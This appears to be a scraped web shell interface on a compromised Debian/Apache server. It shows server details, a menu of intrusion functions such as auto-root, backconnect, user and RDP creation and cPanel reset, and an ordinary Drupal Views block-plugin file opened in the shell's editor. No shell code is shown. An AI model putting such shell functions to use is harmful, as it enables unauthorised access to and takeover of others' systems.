Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.16.212.203
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
views /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
export_ui
[ DIR ]
drwxr-xr-x
views_wizard
[ DIR ]
drwxr-xr-x
views_plugin_access.inc
2.05
KB
-rw-r--r--
views_plugin_access_none.inc
295
B
-rw-r--r--
views_plugin_access_perm.inc
1.68
KB
-rw-r--r--
views_plugin_access_role.inc
1.84
KB
-rw-r--r--
views_plugin_argument_default....
2.59
KB
-rw-r--r--
views_plugin_argument_default_...
1
KB
-rw-r--r--
views_plugin_argument_default_...
1.81
KB
-rw-r--r--
views_plugin_argument_default_...
1.46
KB
-rw-r--r--
views_plugin_argument_validate...
2.82
KB
-rw-r--r--
views_plugin_argument_validate...
350
B
-rw-r--r--
views_plugin_argument_validate...
1.83
KB
-rw-r--r--
views_plugin_cache.inc
10.61
KB
-rw-r--r--
views_plugin_cache_none.inc
410
B
-rw-r--r--
views_plugin_cache_time.inc
3.66
KB
-rw-r--r--
views_plugin_display.inc
107.82
KB
-rw-r--r--
views_plugin_display_attachmen...
9.08
KB
-rw-r--r--
views_plugin_display_block.inc
7.77
KB
-rw-r--r--
views_plugin_display_default.i...
1.58
KB
-rw-r--r--
views_plugin_display_embed.inc
274
B
-rw-r--r--
views_plugin_display_extender....
1.29
KB
-rw-r--r--
views_plugin_display_feed.inc
6.96
KB
-rw-r--r--
views_plugin_display_page.inc
21.03
KB
-rw-r--r--
views_plugin_exposed_form.inc
11.39
KB
-rw-r--r--
views_plugin_exposed_form_basi...
260
B
-rw-r--r--
views_plugin_exposed_form_inpu...
3.09
KB
-rw-r--r--
views_plugin_localization.inc
4.68
KB
-rw-r--r--
views_plugin_localization_core...
2.74
KB
-rw-r--r--
views_plugin_localization_none...
607
B
-rw-r--r--
views_plugin_pager.inc
5.15
KB
-rw-r--r--
views_plugin_pager_full.inc
15.51
KB
-rw-r--r--
views_plugin_pager_mini.inc
2.11
KB
-rw-r--r--
views_plugin_pager_none.inc
1.77
KB
-rw-r--r--
views_plugin_pager_some.inc
1.84
KB
-rw-r--r--
views_plugin_query.inc
4.26
KB
-rw-r--r--
views_plugin_query_default.inc
54.4
KB
-rw-r--r--
views_plugin_row.inc
4.37
KB
-rw-r--r--
views_plugin_row_fields.inc
3.12
KB
-rw-r--r--
views_plugin_row_rss_fields.in...
6.81
KB
-rw-r--r--
views_plugin_style.inc
19.4
KB
-rw-r--r--
views_plugin_style_default.inc
454
B
-rw-r--r--
views_plugin_style_grid.inc
2.37
KB
-rw-r--r--
views_plugin_style_jump_menu.i...
5.99
KB
-rw-r--r--
views_plugin_style_list.inc
1.4
KB
-rw-r--r--
views_plugin_style_mapping.inc
3.9
KB
-rw-r--r--
views_plugin_style_rss.inc
3.17
KB
-rw-r--r--
views_plugin_style_summary.inc
2.29
KB
-rw-r--r--
views_plugin_style_summary_jum...
5.09
KB
-rw-r--r--
views_plugin_style_summary_unf...
894
B
-rw-r--r--
views_plugin_style_table.inc
10.99
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : views_plugin_display_block.inc
<?php /** * @file * Contains the block display plugin. */ /** * The plugin that handles a block. * * @ingroup views_display_plugins */ class views_plugin_display_block extends views_plugin_display { function option_definition() { $options = parent::option_definition(); $options['block_description'] = array('default' => '', 'translatable' => TRUE); $options['block_caching'] = array('default' => DRUPAL_NO_CACHE); return $options; } /** * The default block handler doesn't support configurable items, * but extended block handlers might be able to do interesting * stuff with it. */ function execute_hook_block_list($delta = 0, $edit = array()) { $delta = $this->view->name . '-' . $this->display->id; $desc = $this->get_option('block_description'); if (empty($desc)) { if ($this->display->display_title == $this->definition['title']) { $desc = t('View: !view', array('!view' => $this->view->get_human_name())); } else { $desc = t('View: !view: !display', array('!view' => $this->view->get_human_name(), '!display' => $this->display->display_title)); } } return array( $delta => array( 'info' => $desc, 'cache' => $this->get_cache_type() ), ); } /** * The display block handler returns the structure necessary for a block. */ function execute() { // Prior to this being called, the $view should already be set to this // display, and arguments should be set on the view. $info['content'] = $this->view->render(); $info['subject'] = filter_xss_admin($this->view->get_title()); if (!empty($this->view->result) || $this->get_option('empty') || !empty($this->view->style_plugin->definition['even empty'])) { return $info; } } /** * Provide the summary for page options in the views UI. * * This output is returned as an array. */ function options_summary(&$categories, &$options) { // It is very important to call the parent function here: parent::options_summary($categories, $options); $categories['block'] = array( 'title' => t('Block settings'), 'column' => 'second', 'build' => array( '#weight' => -10, ), ); $block_description = strip_tags($this->get_option('block_description')); if (empty($block_description)) { $block_description = t('None'); } $options['block_description'] = array( 'category' => 'block', 'title' => t('Block name'), 'value' => views_ui_truncate($block_description, 24), ); $types = $this->block_caching_modes(); $options['block_caching'] = array( 'category' => 'other', 'title' => t('Block caching'), 'value' => $types[$this->get_cache_type()], ); } /** * Provide a list of core's block caching modes. */ function block_caching_modes() { return array( DRUPAL_NO_CACHE => t('Do not cache'), DRUPAL_CACHE_GLOBAL => t('Cache once for everything (global)'), DRUPAL_CACHE_PER_PAGE => t('Per page'), DRUPAL_CACHE_PER_ROLE => t('Per role'), DRUPAL_CACHE_PER_ROLE | DRUPAL_CACHE_PER_PAGE => t('Per role per page'), DRUPAL_CACHE_PER_USER => t('Per user'), DRUPAL_CACHE_PER_USER | DRUPAL_CACHE_PER_PAGE => t('Per user per page'), ); } /** * Provide a single method to figure caching type, keeping a sensible default * for when it's unset. */ function get_cache_type() { $cache_type = $this->get_option('block_caching'); if (empty($cache_type)) { $cache_type = DRUPAL_NO_CACHE; } return $cache_type; } /** * Provide the default form for setting options. */ function options_form(&$form, &$form_state) { // It is very important to call the parent function here: parent::options_form($form, $form_state); switch ($form_state['section']) { case 'block_description': $form['#title'] .= t('Block admin description'); $form['block_description'] = array( '#type' => 'textfield', '#description' => t('This will appear as the name of this block in administer >> structure >> blocks.'), '#default_value' => $this->get_option('block_description'), ); break; case 'block_caching': $form['#title'] .= t('Block caching type'); $form['block_caching'] = array( '#type' => 'radios', '#description' => t("This sets the default status for Drupal's built-in block caching method; this requires that caching be turned on in block administration, and be careful because you have little control over when this cache is flushed."), '#options' => $this->block_caching_modes(), '#default_value' => $this->get_cache_type(), ); break; case 'exposed_form_options': $this->view->init_handlers(); if (!$this->uses_exposed() && parent::uses_exposed()) { $form['exposed_form_options']['warning'] = array( '#weight' => -10, '#markup' => '<div class="messages warning">' . t('Exposed filters in block displays require "Use AJAX" to be set to work correctly.') . '</div>', ); } } } /** * Perform any necessary changes to the form values prior to storage. * There is no need for this function to actually store the data. */ function options_submit(&$form, &$form_state) { // It is very important to call the parent function here: parent::options_submit($form, $form_state); switch ($form_state['section']) { case 'display_id': $this->update_block_bid($form_state['view']->name, $this->display->id, $this->display->new_id); break; case 'block_description': $this->set_option('block_description', $form_state['values']['block_description']); break; case 'block_caching': $this->set_option('block_caching', $form_state['values']['block_caching']); $this->save_block_cache($form_state['view']->name . '-'. $form_state['display_id'], $form_state['values']['block_caching']); break; } } /** * Block views use exposed widgets only if AJAX is set. */ function uses_exposed() { if ($this->use_ajax()) { return parent::uses_exposed(); } return FALSE; } /** * Update the block delta when you change the machine readable name of the display. */ function update_block_bid($name, $old_delta, $delta) { $old_hashes = $hashes = variable_get('views_block_hashes', array()); $old_delta = $name . '-' . $old_delta; $delta = $name . '-' . $delta; if (strlen($old_delta) >= 32) { $old_delta = md5($old_delta); unset($hashes[$old_delta]); } if (strlen($delta) >= 32) { $md5_delta = md5($delta); $hashes[$md5_delta] = $delta; $delta = $md5_delta; } // Maybe people don't have block module installed, so let's skip this. if (db_table_exists('block')) { db_update('block') ->fields(array('delta' => $delta)) ->condition('delta', $old_delta) ->execute(); } // Update the hashes if needed. if ($hashes != $old_hashes) { variable_set('views_block_hashes', $hashes); } } /** * Save the block cache setting in the blocks table if this block allready * exists in the blocks table. Dirty fix untill http://drupal.org/node/235673 gets in. */ function save_block_cache($delta, $cache_setting) { if (strlen($delta) >= 32) { $delta = md5($delta); } if (db_table_exists('block') && $bid = db_query("SELECT bid FROM {block} WHERE module = 'views' AND delta = :delta", array( ':delta' => $delta))->fetchField()) { db_update('block') ->fields(array( 'cache' => $cache_setting, )) ->condition('module','views') ->condition('delta', $delta) ->execute(); } } }
Close